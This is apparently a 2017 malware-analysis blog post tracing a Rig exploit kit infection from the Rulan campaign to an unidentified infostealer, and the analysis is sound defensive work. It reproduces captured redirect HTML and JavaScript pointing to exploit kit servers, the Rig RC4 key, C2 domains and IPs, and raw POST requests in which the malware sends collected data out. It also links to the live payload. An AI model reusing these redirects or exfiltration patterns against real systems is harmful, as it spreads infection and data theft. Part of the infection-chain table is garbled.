Rig EK via Rulan drops an Infostealer

zerophagemalware.com/2017/09/21/rig-ek-via-rulan-drops-an-infostealer/

zerophage

September 21, 2017

Summary:

Back again with the Rulan campaign. Recently it has changed it's usual payload and we have seen Quant Loader, Coin Miner and KINS.

This time it is back and dropped a payload which I have struggled to ID. It has all the characteristics of an infostealer (gathering data then sending to C2). I've been unable to decipher what data it is ending and why. The C2 domains also did not trigger any ET/Snort rules.

It's interesting for sure and I'd be interested to know more about it so keep an eye on Twitter.

Background Information:

A few articles on Rig exploit kit and it's evolution:

<u>https://www.uperesia.com/analyzing-rig-exploit-kit</u> <u>http://malware.dontneedcoffee.com/2016/10/rig-evolves-neutrino-waves-goodbye.html</u> <u>http://securityaffairs.co/wordpress/55354/cyber-crime/rig-exploit-kit-cerber.html</u>

Downloads

(in password protected zip)

- <u>21-September-2018-Rig-Infostealer-PCAP</u>-> Pcap of traffic
- <u>21-September-2017-Rig-Infostealer-CSV</u>-> CSV of traffic for IOC's
- <u>21-September-2017-Infostealer</u>-> Infostealer –
 3f9fd83a014de13794d4a701883e029de802533bac37f8c4489e7e00053054bb

Unfortunately having a few issues with WordPress so the payload is on tinyupload for now. Let me know if it goes down.

Details of infection chain:

(click to enlarge!)

	RIG	EK V	Δ	RULAN	DROPS INFOSTEALER					
NDKSODES				nt="1; URL='http://3 dmrHOefjaeFWkzrbFTF	<pre>188.225.86.191/? 30zKATwS66_Btdf3&fix=UDQq1jkaGegA<u>@mthZV1809aCmik</u></pre>					
	HX-BXeZw5AqcaWRbE6	3QuhzrQkQPskg11	M62I&hop	per=NDcxMTg1NzM='">	Rulan campaign uses HTTP "refresh" and					
<pre><script type="text/javascript">window.location = "http://188.225.86.191/? JS to redirect to Rig EK NDk50DE58six=xXvQMvWybRXQC33EKvjcT6NEMvHRHECL2V2dmrHQefjaeFWkzrbFTF_3ozKATwS66_Btdf38fix=UDQq1jka6egAvascript">http://100/100/100/100/100/100/100/100/100/1</th></tr><tr><th colspan=11>nuksoubsasixaxuvunuronavessevoisevoisevoisevoisevoisevoisevoise</th></tr><tr><th></th><th></th><th></th><th></th><th>and the second second</th><th></th></tr><tr><th>Host</th><td></td><td>Info</td><td></td><td></td><td>Comment</td></tr><tr><th>kupired.</th><td>.ru</td><td>GET /hil HTT</td><td>9/1.1</td><td></td><td>Rulan JS/HTTP refresh</td></tr><tr><th>188,225.</th><td></td><td></td><td></td><td>SwZhno8PU18TpautiE</td><td>XcnBTOhJKL heFNwhArpaXHLNv0V6kzLISIs4uxxTTv2N Rig EK Landing Page</td></tr><tr><th colspan=8>188.225.86.102 GET /?MTkyOTES&opas=oPUIsTpgvtjEXcnBPOhJSL hefNw9ArpOXHLVv0V-KzLASIs8uxxPTv2JZzO8tML Rig EK flash</th></tr><tr><th>188.225.</th><th></th><th colspan=7>GET / MTK30TAx8hopassxH QMrDyR3FFVPFKP_EUKdEMU3AABKKWYUZhazVF5uxFDTGbb1Fx7spV-dCFRig EK Payload</th></tr><tr><th></th><th></th><th></th></tr><tr><th colspan=9><pre>www.citycentretherapy.com POST /wp-content/plugins/WPSecurity/load.php HTTP/1.1 (application/x-www-form-urle Infostealer "load.php" www.citycentretherapy.com POST /wp-content/plugins/WPSecurity/data/1K+.txt HTTP/1.1 (application/x-www-form Infostealer POST reg</pre></th></tr><tr><th></th><th>ndrick.com</th><th></th><th></th><th></th><th>ta/1S+.txt HTTP/1.1 (application/x-www-form Infostealer POST req</th></tr><tr><th></th><th>endrick.com</th><th></th><th></th><th></th><th>ta/11=.txt HTTP/1.1 (application/x-www-form Infostealer POST req</th></tr><tr><th>sklepugo</th><th></th><th></th><th></th><th></th><th>ta/irtxt HTTP/1.1 (application/x-www-form Infostealer Post req</th></tr><tr><th></th><th>endrick.com</th><th></th><th></th><th></th><th></th></tr><tr><th></th><th></th><th></th><th></th><th></th><th>ta/1F+.txt HTTP/1.1 (application/x-www-form Infostealer POST req</th></tr><tr><th>sklepugo</th><th>plana.pl</th><th>PUST /wp-com</th><th>cent/piu</th><th>igins/wPSecurity/da</th><th>ta/1Y+.txt HTTP/1.1 (application/x-www-form Infostealer POST req</th></tr><tr><th>a et Users e</th><th>User a AppOats a Reaming a 21</th><th>ufau a data 🔹 4a</th><th>Search data</th><th></th><th></th></tr><tr><th>a habita</th><th>in library = Share with = Ner</th><th>- folder</th><th></th><th></th><th>Payload appeared to gather information and</th></tr><tr><th>· 10004</th><td>Name A</td><td>Date modified</td><td>Type</td><td>Input Sample (PD: 3438) Maxwell L Input Sample (PD: 3438) Maxwell</td><td></td></tr><tr><th>orites</th><td></td><td></td><td></td><td>- Sviraw.exe (PD. 3748)</td><td></td></tr><tr><th>ektop werkenik</th><td>10- dat</td><td>20/99/2017 18-26 20/99/2017 17:53</td><td>DAT F</td><td>systaw.exe (PID 3702</td><td>a Bruns</td></tr><tr><th>cent Places</th><td>1e-det</td><td>20/09/2017 18:29</td><td>DATE</td><td></td><td>- "C:\3191d83a014del3794d4a701883e029de802533bac3718c4489e7e00053054bb.exe"&for /L%Lin [] do if exist !!! (del /1/a !</td></tr><tr><th>mφ</th><td>1F+.dut</td><td>20/09/2017 18:00</td><td>DAT FL.</td><td>ff) else (exit[)" (PID. 3728) 🛬 🤻</td><td></td></tr><tr><th>oming</th><td>180- stat</td><td>30/98/2017 17:48</td><td>DAT File</td><td>1,067 KB</td><td>ngines detected this file</td></tr><tr><th></th><td> 1pdet</td><td>20/09/2017 18:06 20/09/2017 17:58</td><td>DAT File</td><td>31/8 27 el</td><td>ignes detected this file</td></tr><tr><th>cuments</th><td>15- and 1</td><td>20/08/2017 17:50</td><td>DAT File</td><td>sia SHA-2</td><td>56 3f9fd83a014de13794d4a701883e029de802533bac37f8c4489e7e00053054bb</td></tr><tr><th>usic</th><td>1Tdat</td><td>30/99/2017 18-21</td><td>DAT File</td><td>50 x8 File na</td><td></td></tr><tr><th>chures</th><td>I tor uter</td><td>20/99/2017 18:11</td><td>DAT File</td><td>52 KB</td><td></td></tr><tr><th>1005</th><td>10+.det</td><td>20/09/2017 18:03 20/09/2017 18:00</td><td>DAT File DAT File</td><td>22.50</td><td></td></tr><tr><th>sputze</th><td>12-det</td><td>30/99/2017 18:19</td><td></td><td>Sta Last a</td><td>nalysis 2017-09-21 05:09:04 UTC</td></tr><tr><th></th><td>11- det</td><td>20/99/2017 17:55</td><td>DAT File</td><td>270 KB</td><td></td></tr><tr><th>work</th><td>18 m. obst</td><td>20/99/2017 18:16</td><td>DAT File</td><td>1,650 KB</td><td></td></tr><tr><th></th><td>_ B04</td><td>20/09/2017 18:14</td><td>DAT File</td><td>3,045 KD</td><td></td></tr></tbody></table></script></pre>										

Full Details:

Rulan has been providing various payloads over the past week or so. A coin miner and even KINS was spotted earlier this week by <u>@nao_sec.</u> It is still using a JS redirector and a HTTP refresh to redirect the victim to Rig EK.

```
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.16
Expires: Thu, 21 Jul 1977 07:30:00 GMT
Cache-Control: max-age=0
Pragma: no-cache
Set-Cookie: e895c=%7B%22streams%22%3A%7B%221431%22%3A1505896076%7D%2C
%22campaigns%22%3A%7B%221%22%3A1505896076%7D%2C%22time%22%3A1505981693%7D;
expires=Sun, 22-Oct-2017 08:14:53 GMT; path=/; domain=.kupired.ru
<html>
            <head>
                <meta http-equiv="REFRESH" content="1; URL='http://
188.225.86.102/?
NTc2NzQ5&opas=SwZhno0PU18TpqutjEXcnBTOhJKL_heFNwhArpaXHLNv0V6kzLISIs4uxxTTv2NZz
08tY14gpQtR2azI&hopas=xHzQMrTYbRvFFYffKP_EUKBEMU3WA00KwYyZhavVF5uxFDLGpbL1Fxnsp
V6dCF-EmvJvdLcHIwCh1UHA&shops=NjY20DkzMg=='">
                <script type="text/javascript">window.location = "http://
188.225.86.102/?
NTc2NzQ5&opas=SwZhno0PU18TpqutjEXcnBTOhJKL heFNwhArpaXHLNv0V6kzLISIs4uxxTTv2NZz
O8tY14gpQtR2azI&hopas=xHzQMrTYbRvFFYffKP EUKBEMU3WA00KwYyZhavVF5uxFDLGpbL1Fxnsp
V6dCF-EmvJvdLcHIwCh1UHA&shops=NjY2ODkzMg==";</script>
            </head>
            </html>
```

Rig itself continues to change up it's parameters this time using "opas", "hopas" and "shops".



The RC4 key is now "marydcetoz". You can use this to decrypt the payload from the pcap.



The payload appeared to be an infostealer by nature. I was unable to identify it though sought the aid of <u>@James_inthe_box</u> who digged further but could not identify it.

SHA-256 3f9fd83a014de13794d4a701883e029de802533bac37f8c4489e7e00053054bb

Fileeb11bac9e73f7f6fed3506e28a13dacbfa3fbdc0name

File size 288 KB

The payload copied itself into a folder called "ZSysRaw" and the binary was named "sysraw.exe". It then began to collect information and store it in a folder called "data".

	• User ▶ AppData ▶ Roaming ▶ ZSysRaw in library ▼ Share with ▼ New folder	data 👻 🐓	Search data	!≡ ▼ 🗍 (
orites	Name	Date modified	Туре	Size
esktop	1cdat	20/09/2017 18:26	DAT File	50 KB
ownloads	1D+.dat	20/09/2017 17:53	DAT File	3,057 KB
cent Places	1edat	20/09/2017 18:24	DAT File	51 KB
mp	1F+.dat	20/09/2017 18:01	DAT File	3,052 KB
aming	1K+.dat	20/09/2017 17:48	DAT File	3,067 KB
	1pdat	20/09/2017 18:06	DAT File	51 KB
aries	1rdat	20/09/2017 17:58	DAT File	49 KB
ocuments	1S+.dat	20/09/2017 17:50	DAT File	51 KB
usic	1T+.dat	20/09/2017 18:21	DAT File	50 KB
ctures	📄 1udat	20/09/2017 18:11	DAT File	52 KB
deos	1U+.dat	20/09/2017 18:03	DAT File	52 KB
	1X+.dat	20/09/2017 18:08	DAT File	53 KB
nputer	1zdat	20/09/2017 18:19	DAT File	52 KB
	11=.dat	20/09/2017 17:55	DAT File	270 KB
work	18=.dat	20/09/2017 18:16	DAT File	3,059 KB
	19=.dat	20/09/2017 18:14	DAT File	3,046 KB

The malware began with a POST request ending with "load.php". It looks like Base64 but I could not decode it into anything meaningful.

```
POST /wp-content/plugins/WPSecurity/load.php HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded; Charset=UTF-8
Accept: */*
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Content-Length: 84
Host: www.citycentretherapy.com
```

```
JyhnD0SW6cRMt0vv7leydhgDRMoqk2s1zcgc2Ujd0Di6BeHEFSwdeQUtHF1cEi72fSjAZIcAIGj16EUh
TPsoHTTP/1.1 200 OK
Date: Thu, 21 Sep 2017 08:16:10 GMT
Server: Apache
Content-Length: 52
Keep-Alive: timeout=3, max=50
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
```

8NU6jaBHaIeMZI1g6CMFnotXWRQorMqqNGYZRuENAYkFLTbeb5WD

Next it began to POST data from the text files it created. Again I could not decode this data. Each text file it created it then sent to the C2 with each file reaching a size of around 3kb~.

```
POST /wp-content/plugins/WPSecurity/data/1Y+.txt HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded; Charset=UTF-8
Accept: */*
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Content-Length: 5
Host: sklepugolana.pl
FalseHTTP/1.1 200 OK
Date: Thu, 21 Sep 2017 09:02:37 GMT
Server: Apache
Last-Modified: Fri, 18 Aug 2017 15:15:49 GMT
Accept-Ranges: bytes
Content-Length: 53620
Vary: User-Agent
Keep-Alive: timeout=2, max=10000
Connection: Keep-Alive
Content-Type: text/plain
1YdKeMEfRtyLXTtvS4uzTUkwmk9L3jby4
1Y7YQ693yt8KquLaAitKoXb6fVnqJise2
1YbbB35ZcZaVM7Cb6K6hUpVQmtVeDHBnQ
1YHikSvvMvvBhU22uvHGASuCr8hBoUPeS
```

The payload did not trigger any signatures (ET/Snort) though it's behaviour is indicative of an information stealer. Keep checking Twitter, it's likely some more info will come!

